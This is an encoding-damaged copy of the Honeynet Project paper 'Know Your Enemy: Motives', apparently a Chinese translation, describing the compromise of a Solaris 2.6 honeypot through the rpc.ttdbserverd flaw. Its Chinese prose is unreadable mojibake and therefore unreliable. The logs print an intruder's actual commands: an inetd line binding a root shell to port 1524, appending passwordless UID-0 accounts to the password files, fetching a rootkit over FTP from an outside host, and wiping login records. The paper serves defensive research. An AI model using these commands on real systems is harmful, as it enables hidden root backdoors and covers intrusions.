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Á˽âÄãµÄµÐÈË: ¶¯»ú

Know Your Enemy: Motives
ºÚ¿ÍÉçÍŵĶ¯»úºÍÐÄÀí
Honeynet Project
http://project.honeynet.org
http://www.xfocus.org
Last Modified: 27 June, 2000

¸ÃƪÎÄÕÂÊÇ<Know Your Enemy>ϵÁÐÖ®Ò»£¬¸ÃϵÁÐÖ÷Òª½éÉܺڿÍÉçÍÅʹÓõŤ¾ßºÍ²ßÂÔ¡£¸ÃÎÄÕ²»Ïñ¸ÃϵÁÐÆäËûµÄÎÄÕÂÖ÷Òª½éÉܺڿÍÉçÍÅÔõÑùÔõÑù¡¢ÌرðÊÇËûÃÇʹÓõļ¼ÊõºÍ¹¤¾ßµÄʵÏÖ£¬¶øÊÇ·ÖÎöËûÃǵĶ¯»úºÍÐÄÀí¡£µÚÒ»²¿·Ö½éÉÜһ̨Solaris 2.6ϵͳ±»ÈëÇÖ£¬µÚ¶þ²¿·ÖËùÌáµ½µÄºÜÉÙÓÐÏà¹ØÐÅÏ¢·¢²¼£¬½éÉÜÔÚºÚ¿ÍÈëÇÖϵͳºó14ÌìÄÚÔÚ¡°ÃÛ¹Þ¡±ÖеÄͨ»°ºÍÐж¯¼Ç¼£¬Í¨¹ýÕâЩÐÅÏ¢ÎÒÃÇ¿ÉÒÔÁ˽âËûÃÇΪʲôºÍÔõÑù¹¥»÷¼ÆËã»úϵͳ¡£ÔÚÈëÇÖºó£¬ËûÃǽô½Ó×ÅÔÚϵͳÖзÅÖÃÁËÒ»¸öIRC bot£¬Õâ¸ö¶«Î÷ÊÇÓɺڿÍÃÇËùÅäÖúÍʵÏֵģ¬ÓÃÀ´×¥È¡ÔÚIRCƵµÀÖеÄËùÓÐÁÄÌì¼Ç¼¡£ÎÒÃÇÔÚÕâÁ½¸öÐÇÆÚµ±ÖÐÒ»Ö±¼àÊÓÕâЩ¼Ç¼£¬ËùÓеÄÐÅÏ¢¶¼ÂÞÁÐÔÚÏÂÃæ¡£ÕâƪÎÄÕ²¢²»ÊÇÒª¶ÔÕû¸öºÚ¿ÍÉçÍŵÄÐÐΪ×÷Ò»¸ö¸ÅÀ¨£¬Ïà·´£¬ÎÒÃÇͨ¹ýÔÚʼþµ±ÖÐһЩ¸öÌåÐÐΪµÄ½éÉÜ£¬À´¸ø´ó¼ÒһЩÌáʾ¡±ËûÃǵ±ÖÐijЩÈËÔõÑùÏëºÍÔõÑù×ö¡°£¬ÕâÒ²ÊÇÎÒÃÇÔÚ°²È«ÁìÓòËùÃæ¶ÔµÄһЩÆÕͨÏÖÏó£¬ÎÒÃÇÕæ³ÏµÄÏ£ÍûÆäËû°²È«ÈËÔ±Äܹ»´ÓÖÐÊÜÒæ¡£


ÏÂÃæµÄËùÓÐÐÅÏ¢ÊÇͨ¹ý"honeynet"µÃµ½µÄ¡£"honeynet"£¬¹ËÃû˼Ò壬¾ÍÊÇÓÉÍøÂçÉÏ´óÁ¿µÄ"ÃÛ¹Þ"Ëù×é³É£¬"ÃÛ¹Þ"×î¼òµ¥µÄ¶¨Òå¾ÍÊÇͨ¹ý¾«ÐÄÉè¼ÆµÄ½«±»ºÚ¿ÍÉçÍÅËù¹¥»÷µÄÄ¿±êÖ÷»ú¡£Ò»Ð©"ÃÛ¹Þ"ÊÇÓÃÀ´·ÖÉ¢¹¥»÷Õß¹¥»÷ÕæÕýÖ÷»úµÄ×¢ÒâÁ¦£¬ÁíÍâһЩÊÇÓÃÀ´Ñ§Ï°¹¥»÷ÕßËùʹÓõŤ¾ßºÍ²ßÂԵģ¬ÎÒÃÇÕâÀïËùÌáµ½ÊÇÊôÓÚºóÕß¡£ÔÚ±¾ÎÄÖÐÌáµ½µÄºÜ¶àÐÅÏ¢±»×öÁËһЩÐ޸ģ¬ÌرðÊÇÓû§ÃûºÍ¿ÚÁî¡¢ÐÅÓÿ¨ºÅ¡¢ÒÔ¼°ºÜ¶àÖ÷»úÃû£¬ÆäËûÈçÈ·Çм¼Êõϸ½Ú¡¢¹¤¾ßÒÔ¼°ÁÄÌì¼Ç¼ÎÒÃDz¢Ã»ÓÐ×÷Ð޸ġ£ËùÓÐÐÅÏ¢ÔÚ±»·¢²¼Ö®Ç°¶¼ÒѾ­µÝ½»¸øCERTºÍFBI£¬Í¬Ê±¶ÔÓÚÄÄЩÎÒÃÇÈ·ÐÅÔâÊÜÈëÇÖµÄϵͳ£¬´óÔ¼·¢ÁË370·Ýͨ¸æ¸øËüÃǵĹÜÀíÔ±¡£


Foreword, by Brad Powell

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ÎÒÃÇÕâÀïʹÓõÄ"ÃÛ¹Þ"ÊÇȱʡ°²×°µÄSolaris 2.6ϵͳ£¬Ã»ÓÐÈκÎÐ޸ĺͰ²×°²¹¶¡³ÌÐò¡£ÔÚ´ËÌÖÂ۵ĩ¶´ÔÚÈκÎȱʡ°²×°Ã»ÓÐʹÓò¹¶¡³ÌÐòµÄSolaris 2.6ϵͳÉ϶¼´æÔÚ¡£ÕâÒ²ÊÇÕû¸ö"ÃÛ¹Þ"µÄÉè¼ÆÒâͼ£¬ÔÚϵͳÉϲ¼Ö鶴²¢Ñ§Ï°ËüÊÇÈçºÎ±»¹¥ÆƵġ£ÔÚ±»¹¥»÷¹ý³ÌÖУ¬ÎÒÃÇ¿ÉÒÔѧϰºÚ¿ÍÉçÍÅËùʹÓõŤ¾ßºÍ²ßÂÔ¡£Í¬Ê±"ÃÛ¹Þ"±¾ÉíÒ²±»Éè¼Æ¸ú×ٺڿ͵Äÿһ²½ÐÐΪ¡£


ÔÚ2000Äê6ÔÂ4ÈÕ£¬ÎÒÃǵÄȱʡ°²×°Solaris 2.6µÄ"ÃÛ¹Þ"ÔâÊܵ½Õë¶Ôrpc.ttdbserv©¶´µÄ¹¥»÷£¬¸Ã©¶´ÔÊÐíÔÚToolTalk ¶ÔÏóÊý¾Ý¿â·þÎñÉÏͨ¹ýÒç³öÔ¶³ÌÖ´ÐдúÂë(¼ûCVE-1999-0003)¡£¸Ã©¶´ÔÚSANS×éÖ¯µÄTOP 10ÉÏÃûÁеÚÈý¡£ÎÒÃÇʹÓûùÓÚsnifferµÄÃâ·ÑIDSϵͳSnort¼ì²âµ½¸Ã¹¥»÷µÄ¡£



Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill: 192.168.78.12:877 -> 172.16.1.107:32775

rpc.ttdbserv©¶´ÔÊÐíÔ¶³ÌÓû§Í¨¹ý»º³åÒç³ö¹¥»÷ÔÚÄ¿±êϵͳÉÏÒÔrootȨÏÞÖ´ÐÐÈÎÒâÃüÁî¡£ÏÂÃæÊǹ¥»÷ÕßÔÚ¹¥»÷³É¹¦ºó£¬ÔÚϵͳÉÏ°²×°ºóÃÅ£¬¾ßÌåÈçÏÂËùʾ£º¹¥»÷ÕßÔÚ''/tmp/bob''ÎļþÖмÓÉÏingreslock·þÎñ(ÔÚ/etc/serviceÔ¤¶¨ÒåµÄ£¬¶Ë¿Ú1524)£¬È»ºóÒÔ¸ÄÎļþ×÷ΪÅäÖÃÎļþÖØÐÂÆô¶¯inetd£¬ÕâÑù/bin/sh±»ÒÔrootȨÏްﶨÔÚ1524¶Ë¿Ú£¬¸øÓèÁËÔ¶³ÌÓû§root´æȡȨÏÞ¡£


/bin/ksh -c echo ''ingreslock stream tcp nowait root /bin/sh sh -i'' >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.

µ±ºÚ¿Í°²×°Á˺óÃÅ£¬Ëû½ô½Ó×ÅÁ¬½Óµ½1524¶Ë¿Ú£¬×÷Ϊroot»ñµÃÒ»¸öshell£¬²¢¿ªÊ¼Ö´ÐÐÈçÏÂÃüÁî¡£ËûÔö¼ÓÁËÁ½¸öϵͳÓû§Õʺţ¬ÒÔ±ãÒÔºó¿ÉÒÔtelnetÉÏÀ´£¬×¢ÒâÕâÀïµÄ´íÎóºÍ";"¿ØÖÆ×Ö·û(ÒòΪ1524¶Ë¿ÚµÄshellûÓÐÕýÈ·µÄ»·¾³)¡£

# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
echo "r::10891::::::" >> /etc/shadow;
echo "re::6445::::::" >> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsides console May 24 21:09
^M: not found
# exit;

´Ëʱ£¬¹¥»÷ÕßÔÚÎÒÃÇϵͳÉÏÓµÓÐÁËÁ½¸öÕʺţ¬Ëû¿ÉÒÔÒÔ''re''Óû§telnetÉÏÀ´£¬²¢¿ÉÒÔͨ¹ýsu³ÉUIDΪ0µÄ''r''Óû§À´»ñµÃϵͳrootȨÏÞ¡£ÎÒÃǽ«»Ø¹ËһϹ¥»÷Õßµ±Ê±ÒÔ¼°ºóÀ´µÄ»÷¼ü¼Ç¼¡£


!"'' !"P#$#$''LINUX''

SunOS 5.6

login: re
Choose a new password.
New password: abcdef
Re-enter new password: abcdef
telnet (SYSTEM): passwd successfully changed for re
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
$ su r

ÏÖÔÚºÚ¿ÍÓµÓÐÁËrootȨÏÞ£¬Ò»°ãÀ´Ê×£¬ÏÂÒ»²½Òª×öµÄ¾ÍÊÇ°²×°Ò»Ð©rootkit²¢¿ØÖÆϵͳ¡£Ê×ÏÈÎÒÃÇ¿´µ½ºÚ¿ÍÔÚϵͳÉϲúÉúÒ»¸öÒþ²ØĿ¼À´Òþ²ØËûµÄ¹¤¾ß°ü¡£

# mkdir /dev/".. "
# cd /dev/".. "

ÔÚ²úÉúÒþ²ØĿ¼ºó£¬ºÚ¿Í¿ªÊ¼´ÓÆäËû»úÆ÷ÉÏ´æÈ¡rootkit¡£


# ftp shell.example.net
Connected to shell.example.net.
220 shell.example.net FTP server (Version 6.00) ready.
Name (shell.example.net:re): j4n3
331 Password required for j4n3.
Password:abcdef
230 User j4n3 logged in.
ftp> get sun2.tar
200 PORT command successful.
150 Opening ASCII mode data connection for ''sun2.tar'' (1720320 bytes).
226 Transfer complete.
local: sun2.tar remote: sun2.tar
1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get l0gin
200 PORT command successful.
150 Opening ASCII mode data connection for ''l0gin'' (47165 bytes).
226 Transfer complete.
226 Transfer complete.
local: l0gin remote: l0gin
47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.

Ò»µ©rootkit±»³É¹¦ÏÂÔØ£¬¸Ã¹¤¾ß°ü±»½â¿ª²¢±»°²×°¡£×¢ÒâÕû¸ö°²×°¹ý³ÌÖ»Ö´ÐÐÁËÒ»¸ö¼òµ¥µÄ½Å±¾ setup.sh£¬Õâ¸ö½Å±¾µ÷ÓÃÁíÍâÒ»¸ö½Å±¾ secure.sh¡£ÄãÒ²¿ÉÒÔÏÂÔØÔÚÕâÀïʹÓÃÕû¸öSolaris rootkit¡£


# tar -xvf sun2.tar
x sun2, 0 bytes, 0 tape blocks
x sun2/me, 859600 bytes, 1679 tape blocks
x sun2/ls, 41708 bytes, 82 tape blocks
x sun2/netstat, 6784 bytes, 14 tape blocks
x sun2/tcpd, 19248 bytes, 38 tape blocks
x sun2/setup.sh, 1962 bytes, 4 tape blocks
x sun2/ps, 35708 bytes, 70 tape blocks
x sun2/packet, 0 bytes, 0 tape blocks
x sun2/packet/sunst, 9760 bytes, 20 tape blocks
x sun2/packet/bc, 9782 bytes, 20 tape blocks
x sun2/packet/sm, 32664 bytes, 64 tape blocks
x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks
x sun2/packet/syn, 10488 bytes, 21 tape blocks
x sun2/packet/s1, 12708 bytes, 25 tape blocks
x sun2/packet/sls, 19996 bytes, 40 tape blocks
x sun2/packet/smaq, 10208 bytes, 20 tape blocks
x sun2/packet/udp.s, 10720 bytes, 21 tape blocks
x sun2/packet/bfile, 2875 bytes, 6 tape blocks
x sun2/packet/bfile2, 3036 bytes, 6 tape blocks
x sun2/packet/bfile3, 20118 bytes, 40 tape blocks
x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks
x sun2/sys222, 34572 bytes, 68 tape blocks
x sun2/m, 9288 bytes, 19 tape blocks
x sun2/l0gin, 47165 bytes, 93 tape blocks
x sun2/sec, 1139 bytes, 3 tape blocks
x sun2/pico, 222608 bytes, 435 tape blocks
x sun2/sl4, 28008 bytes, 55 tape blocks
x sun2/fix, 10360 bytes, 21 tape blocks
x sun2/bot2, 508 bytes, 1 tape blocks
x sun2/sys222.conf, 42 bytes, 1 tape blocks
x sun2/le, 21184 bytes, 42 tape blocks
x sun2/find, 6792 bytes, 14 tape blocks
x sun2/bd2, 9608 bytes, 19 tape blocks
x sun2/snif, 16412 bytes, 33 tape blocks
x sun2/secure.sh, 1555 bytes, 4 tape blocks
x sun2/log, 47165 bytes, 93 tape blocks
x sun2/check, 46444 bytes, 91 tape blocks
x sun2/zap3, 13496 bytes, 27 tape blocks
x sun2/idrun, 188 bytes, 1 tape blocks
x sun2/idsol, 15180 bytes, 30 tape blocks
x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete :-)

ÕâÀïrootkit°²×°½Å±¾µÚÒ»´ÎÇåÀíºÍ¹¥»÷ÕßÐÐΪÏà¹ØµÄÈÕÖ¾ÎļþÐÅÏ¢¡£

- WTMP:
/var/adm/wtmp is Sun Jun 4 11:47:39 2000
/usr/adm/wtmp is Sun Jun 4 11:47:39 2000
/etc/wtmp is Sun Jun 4 11:47:39 2000
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
Removing user re at pos: 1440
Done!
- UTMP:
/var/adm/utmp is Sun Jun 4 11:47:39 2000
/usr/adm/utmp is Sun Jun 4 11:47:39 2000
/etc/utmp is Sun Jun 4 11:47:39 2000
/var/log/utmp cannot open
/var/run/utmp cannot open
UTMP = /var/adm/utmp
Removing user re at pos: 288
Done!
- LASTLOG:
/var/adm/lastlog is Sun Jun 4 11:47:39 2000
/usr/adm/lastlog is Sun Jun 4 11:47:39 2000
/etc/lastlog cannot open
/var/log/lastlog cannot open
LASTLOG = /var/adm/lastlog
User re has no wtmp record. Zeroing lastlog..
- WTMPX:
/var/adm/wtmpx is Sun Jun 4 11:47:39 2000
/usr/adm/wtmpx is Sun Jun 4 11:47:39 2000
/etc/wtmpx is Sun Jun 4 11:47:39 2000
/var/log/wtmpx cannot open
WTMPX = /var/adm/wtmpx
Done!
- UTMPX:
/var/adm/utmpx is Sun Jun 4 11:47:39 2000
/usr/adm/utmpx is Sun Jun 4 11:47:39 2000
/etc/utmpx is Sun Jun 4 11:47:39 2000
/var/log/utmpx cannot open
/var/run/utmpx cannot open
UTMPX = /var/adm/utmpx
Done!
./setup.sh: ./zap: not found

ÔÚÇåÀíÍêÈÕ־ϵͳºó£¬ÏÂÒ»²½ÊǼӹÌÎÒÃǵÄϵͳ(ËûÃǶàºÃ°¡)¡£ÒòΪËûÃÇ¿ÉÒÔÇáËɵÄÈëÇÖ£¬±ðÈËÒ²¿ÉÒÔ£¬ËûÃDz¢²»ÏëÈñðÈËÀÄÓÃËûÃǵijɹû¡£


./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
207 ? 0:00 inetd
11467 ? 0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute

ÏÂÒ»²½£¬Ò»¸öIRC proxy¿ªÊ¼ÔËÐУ¬ÔÚÕâÀï±È½ÏÃÔ»óµÄÊÇËæºó½Å±¾É±ËÀÁ˸ýø³Ì£¬ÎÒÒ²²»Ì«Ã÷°×ÁË¡£


Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs-> ([email protected]) or IRC pharos on efnet
--Using conf file ./sys222.conf
--Configuration:
Daemon port......:9879
Maxusers.........:0
Default conn port:6667
Pid File.........:./pid.sys222
Vhost Default....:-SYSTEM DEFAULT-
Process Id.......:11599
Exit ./sys222{7} :Successfully went into the background.

Ëæºó×öÁ˸ü¶àµÄÐ޸ģ¬°üÀ¨¿½±´ºóÃųÌÐò£¬°üÀ¨/bin/login¡¢/bin/ls¡¢/usr/sbin/netstat£¬ÒÔ¼°/bin/ps£¬¶øÕâЩÔڽű¾µÄÊä³öÖв¢¿´²»µ½¡£Ç¿ÁÒ½¨ÒéÄã¿´Ò»ÏÂsetup.shºÍsecure.shµÄÔ´Â룬¿´µ½µ×·¢ÉúÁËʲôÊ£¬Ëµ²»¶¨Ò»ÌìÄã²»µÃ²»²é¿´ÒѾ­±»ÀàËƵŤ¾ß¿ØÖƵÄϵͳ¡£



# kill -9 11467
# ps -u root |grep |grep inetd inetd
207 ? 0:00 inetd
# ..U/secure.sh/secure.sh
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
# ppUs -u s -u U||U grep grep ttUtdbtdb
Ups: option requires an argument -- u
usage: ps [ -aAdeflcj ] [ -o format ] [ -t termlist ]
[ -u userlist ] [ -U userlist ] [ -G grouplist ]
[ -p proclist ] [ -g pgrplist ] [ -s sidlist ]
''format'' is one or more of:
user ruser group rgroup uid ruid gid rgid pid ppid pgid sid
pri opri pcpu pmem vsz rss osz nice class time etime stime
f s c tty addr wchan fname comm args
# ppUs -s -UAdj | grep ttdbAdj | grep ttdb

×îºó£¬¹¥»÷ÕßÔËÐÐÁËIRC bot£¬¸Ã³ÌÐòÊÇΪÁ˱£Ö¤ËûÃÇÄܹ»°´ÕÕ×Ô¼ºµÄÒâÔ¸¿ØÖƸÃIRCƵµÀ£¬Í¬Ê±ËüÒ²¼Ç¼IRCƵµÀÈ«²¿µÄÁÄÌì¼Ç¼£¬Ò²ÕýÊÇͨ¹ýËûÃÇ°²×°µÄbot£¬ÎÒÃǵõ½ÁËËûÃǵÄËùÓÐÁÄÌì¼Ç¼¡£

# ../me -f bot2
init: Using config file: bot2
EnergyMech 2.7.1, December 2nd, 1999
Starglider Class EnergyMech
Compiled on Jan 27 2000 07:06:04
Features: DYN, NEW, SEF
init: Unknown configuration item: "NOSEEN" (ignored)
init: Mechs added [ save2 ]
init: Warning: save2 has no userlist, running in setup mode
init: EnergyMech running...
# exit;
$ exit

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